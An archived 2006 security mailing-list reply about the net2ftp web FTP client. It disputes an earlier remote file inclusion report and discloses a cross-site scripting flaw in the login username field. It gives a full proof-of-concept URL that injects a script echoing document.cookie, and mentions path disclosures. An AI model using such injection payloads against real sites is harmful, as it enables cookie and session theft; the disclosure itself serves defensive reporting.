OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Re: net2ftp: a web based FTP client :) <= Remote File Inclusion

securfroggmail.com
Date: Mon Oct 02 2006 - 11:13:28 CDT


" + Solution:

+ Add this line to your php-file:

+

+ $application_rootdir ="user/dir" //Your root path "

===> 0-o

i guess you should learn some PHP before posting on bugtracks ...

" net2ftp: a web based FTP client :) <= Remote File Inclusion "

===> you should try your PoC before posting , there's no remote file include in that code ...

--------------------------------------------------

btw that there's some XSS post in username

and bunch of full path disclosure ...

here's the PoC :

http://www.example.com/index.php?state=browse&state2=main&ftpserver=blabla&ftpserverport=21&username=</textarea>'"><script>alert(document.cookie)</script>;</textarea>'"><script>alert(document.cookie)</script>&password=haaaa&directory=wop&language=en&skin=india&ftpmode=binary&Login=Login